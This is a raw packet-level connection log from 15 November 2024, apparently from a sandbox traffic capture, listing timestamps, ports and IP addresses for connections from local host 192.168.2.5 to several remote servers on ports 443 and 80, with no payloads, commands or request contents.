Nov 15, 2024 16:16:33.969182014 CET	49893	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.969221115 CET	443	49893	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.969387054 CET	49892	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.969396114 CET	443	49892	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.969420910 CET	49893	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.970036030 CET	49894	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.970045090 CET	443	49894	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.970233917 CET	49894	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.970387936 CET	49894	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.970398903 CET	443	49894	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:33.974026918 CET	49893	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:33.974047899 CET	443	49893	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.154783010 CET	49895	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:34.154844046 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:34.154907942 CET	49895	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:34.155107021 CET	49895	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:34.155122042 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:34.430694103 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:34.430742025 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:34.435733080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:34.435760975 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:34.638019085 CET	443	49890	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.638586998 CET	49890	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.638612986 CET	443	49890	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.639128923 CET	49890	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.639133930 CET	443	49890	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.681229115 CET	443	49891	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.681863070 CET	49891	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.681909084 CET	443	49891	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.682352066 CET	49891	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.682363987 CET	443	49891	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.707489967 CET	443	49893	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.708233118 CET	49893	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.708268881 CET	443	49893	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.708884001 CET	49893	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.708894014 CET	443	49893	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.714138985 CET	443	49894	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.714574099 CET	49894	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.714596987 CET	443	49894	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.715023041 CET	49894	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.715030909 CET	443	49894	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.741760015 CET	443	49892	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.742357016 CET	49892	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.742378950 CET	443	49892	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.742868900 CET	49892	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.742876053 CET	443	49892	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.799647093 CET	443	49890	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.799736023 CET	443	49890	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.800000906 CET	49890	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.800039053 CET	49890	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.800060987 CET	443	49890	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.800072908 CET	49890	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.800079107 CET	443	49890	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.803153038 CET	49896	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.803210974 CET	443	49896	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.803298950 CET	49896	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.803503990 CET	49896	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.803514957 CET	443	49896	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.813698053 CET	443	49891	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.813837051 CET	443	49891	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.813898087 CET	49891	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.814026117 CET	49891	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.814053059 CET	443	49891	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.814073086 CET	49891	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.814080954 CET	443	49891	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.818667889 CET	49897	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.818707943 CET	443	49897	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.818773985 CET	49897	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.819017887 CET	49897	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.819031954 CET	443	49897	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.837249994 CET	443	49893	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.837513924 CET	443	49893	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.837589025 CET	49893	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.837636948 CET	49893	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.837656975 CET	443	49893	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.837671041 CET	49893	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.837677956 CET	443	49893	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.844425917 CET	49898	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.844469070 CET	443	49898	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.844738960 CET	49898	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.844934940 CET	49898	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.844944000 CET	443	49898	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.845561028 CET	443	49894	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.845810890 CET	443	49894	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.846057892 CET	49894	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.846744061 CET	49894	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.846765995 CET	443	49894	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.846781015 CET	49894	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.846788883 CET	443	49894	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.855087996 CET	49899	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.855123043 CET	443	49899	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.855221033 CET	49899	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.855408907 CET	49899	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.855422020 CET	443	49899	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.955429077 CET	443	49892	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.955526114 CET	443	49892	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.955610037 CET	49892	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.956614971 CET	49892	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.956614971 CET	49892	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.956649065 CET	443	49892	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.956664085 CET	443	49892	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.959753990 CET	49900	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.959805012 CET	443	49900	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:34.959978104 CET	49900	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.960134029 CET	49900	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:34.960155010 CET	443	49900	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.210401058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:35.211484909 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:35.218153954 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:35.221585035 CET	49895	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:35.221626043 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:35.222471952 CET	49895	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:35.222477913 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:35.222537041 CET	49895	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:35.222544909 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:35.462078094 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:35.467195988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:35.535377026 CET	443	49896	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.535944939 CET	49896	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.535957098 CET	443	49896	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.536415100 CET	49896	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.536420107 CET	443	49896	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.548577070 CET	443	49897	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.548886061 CET	49897	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.548911095 CET	443	49897	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.549243927 CET	49897	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.549251080 CET	443	49897	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.592030048 CET	443	49898	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.592727900 CET	49898	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.592741966 CET	443	49898	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.593594074 CET	49898	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.593599081 CET	443	49898	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.601674080 CET	443	49899	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.602005959 CET	49899	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.602016926 CET	443	49899	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.602354050 CET	49899	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.602359056 CET	443	49899	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.680466890 CET	443	49896	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.680542946 CET	443	49896	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.680633068 CET	49896	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.680767059 CET	49896	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.680767059 CET	49896	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.680783033 CET	443	49896	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.680790901 CET	443	49896	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.681292057 CET	443	49897	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.681370020 CET	443	49897	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.681413889 CET	49897	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.681529045 CET	49897	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.681541920 CET	443	49897	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.681554079 CET	49897	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.681559086 CET	443	49897	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.683501005 CET	49901	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.683559895 CET	49902	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.683590889 CET	443	49901	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.683618069 CET	443	49902	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.683674097 CET	49901	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.683679104 CET	49902	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.683830976 CET	49901	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.683866024 CET	49902	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.683867931 CET	443	49901	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.683885098 CET	443	49902	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.699457884 CET	443	49900	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.699831963 CET	49900	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.699857950 CET	443	49900	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.700308084 CET	49900	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.700314045 CET	443	49900	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.730304003 CET	443	49898	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.730655909 CET	443	49898	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.730746031 CET	49898	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.730782032 CET	49898	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.730793953 CET	443	49898	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.730833054 CET	49898	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.730839014 CET	443	49898	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.732896090 CET	49903	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.732979059 CET	443	49903	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.733149052 CET	49903	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.733277082 CET	49903	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.733309031 CET	443	49903	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.734482050 CET	443	49899	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.734586000 CET	443	49899	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.734646082 CET	49899	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.734697104 CET	49899	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.734711885 CET	443	49899	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.734728098 CET	49899	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.734735012 CET	443	49899	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.736555099 CET	49904	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.736577034 CET	443	49904	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.736684084 CET	49904	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.736793041 CET	49904	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.736809969 CET	443	49904	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.741905928 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:35.741914988 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:35.741933107 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:35.741961956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:35.741991043 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:35.744308949 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:35.749172926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:35.829250097 CET	443	49900	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.829422951 CET	443	49900	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.829555035 CET	49900	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.830389977 CET	49900	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.830411911 CET	443	49900	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.830545902 CET	49900	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.830554008 CET	443	49900	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.841475010 CET	49905	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.841525078 CET	443	49905	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:35.841995955 CET	49905	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.845756054 CET	49905	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:35.845772028 CET	443	49905	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.024108887 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:36.024192095 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:36.054064989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:36.058927059 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:36.211949110 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:36.211983919 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:36.212047100 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:36.212064981 CET	49895	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:36.212093115 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:36.212105989 CET	49895	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:36.315431118 CET	49895	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:36.323251963 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:36.323343039 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:36.323461056 CET	49895	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:36.363507986 CET	49895	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:36.363527060 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:36.363677979 CET	49895	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:36.363683939 CET	443	49895	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:36.407097101 CET	443	49902	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.408066034 CET	49902	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.408111095 CET	443	49902	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.408685923 CET	49902	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.408693075 CET	443	49902	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.430363894 CET	443	49901	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.430979967 CET	49901	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.431004047 CET	443	49901	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.431504965 CET	49901	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.431516886 CET	443	49901	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.452940941 CET	443	49903	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.453624964 CET	49903	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.453634024 CET	443	49903	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.454227924 CET	49903	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.454232931 CET	443	49903	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.469494104 CET	49906	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:36.469527960 CET	443	49906	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:36.469607115 CET	49906	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:36.469779968 CET	49906	443	192.168.2.5	40.126.31.71
Nov 15, 2024 16:16:36.469793081 CET	443	49906	40.126.31.71	192.168.2.5
Nov 15, 2024 16:16:36.480837107 CET	443	49904	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.481533051 CET	49904	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.481550932 CET	443	49904	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.482073069 CET	49904	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.482079029 CET	443	49904	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.536911964 CET	443	49902	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.537080050 CET	443	49902	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.537411928 CET	49902	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.537774086 CET	49902	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.537774086 CET	49902	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.537825108 CET	443	49902	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.537836075 CET	443	49902	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.553812027 CET	49907	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.553857088 CET	443	49907	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.553934097 CET	49907	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.556544065 CET	49907	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.556556940 CET	443	49907	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.559403896 CET	443	49901	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.559638977 CET	443	49901	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.559736013 CET	49901	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.562825918 CET	49901	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.562849998 CET	443	49901	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.562916994 CET	49901	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.562923908 CET	443	49901	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.577392101 CET	443	49905	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.580208063 CET	443	49903	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.580303907 CET	443	49903	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.580365896 CET	49903	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.580653906 CET	49903	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.580667019 CET	443	49903	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.580682993 CET	49903	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.580688000 CET	443	49903	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.613858938 CET	49905	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.613877058 CET	443	49905	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.613904953 CET	443	49904	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.614121914 CET	443	49904	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.614197969 CET	49904	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.615583897 CET	49905	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.615592003 CET	443	49905	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.619935036 CET	49908	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.619992018 CET	443	49908	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.620066881 CET	49908	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.620811939 CET	49909	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.620858908 CET	443	49909	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.621304035 CET	49904	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.621320963 CET	443	49904	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.621352911 CET	49909	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.621814013 CET	49909	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.621834993 CET	443	49909	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.626488924 CET	49908	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.626528978 CET	443	49908	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.628798962 CET	49910	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.628825903 CET	443	49910	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.628905058 CET	49910	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.630016088 CET	49910	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.630043030 CET	443	49910	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.741595984 CET	443	49905	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.741751909 CET	443	49905	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.741822004 CET	49905	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.742114067 CET	49905	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.742135048 CET	443	49905	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.742146015 CET	49905	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.742151976 CET	443	49905	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.745209932 CET	49911	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.745235920 CET	443	49911	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.745358944 CET	49911	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.745513916 CET	49911	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:36.745526075 CET	443	49911	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:36.825496912 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:36.825750113 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:36.855031013 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:36.859951019 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:36.902837038 CET	49912	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:36.902893066 CET	443	49912	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:36.902977943 CET	49912	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:36.903779030 CET	49912	443	192.168.2.5	23.38.189.114
Nov 15, 2024 16:16:36.903793097 CET	443	49912	23.38.189.114	192.168.2.5
Nov 15, 2024 16:16:37.135253906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:37.135369062 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:37.139874935 CET	49913	80	192.168.2.5	185.215.113.16
Nov 15, 2024 16:16:37.144781113 CET	80	49913	185.215.113.16	192.168.2.5
Nov 15, 2024 16:16:37.144903898 CET	49913	80	192.168.2.5	185.215.113.16
Nov 15, 2024 16:16:37.145373106 CET	49913	80	192.168.2.5	185.215.113.16
Nov 15, 2024 16:16:37.150161982 CET	80	49913	185.215.113.16	192.168.2.5
Nov 15, 2024 16:16:37.281730890 CET	443	49907	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.282443047 CET	49907	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.282476902 CET	443	49907	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.283062935 CET	49907	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.283073902 CET	443	49907	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.343647957 CET	443	49909	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.344285965 CET	49909	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:37.344325066 CET	443	49909	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:37.344803095 CET	49909	443	192.168.2.5	13.107.246.45
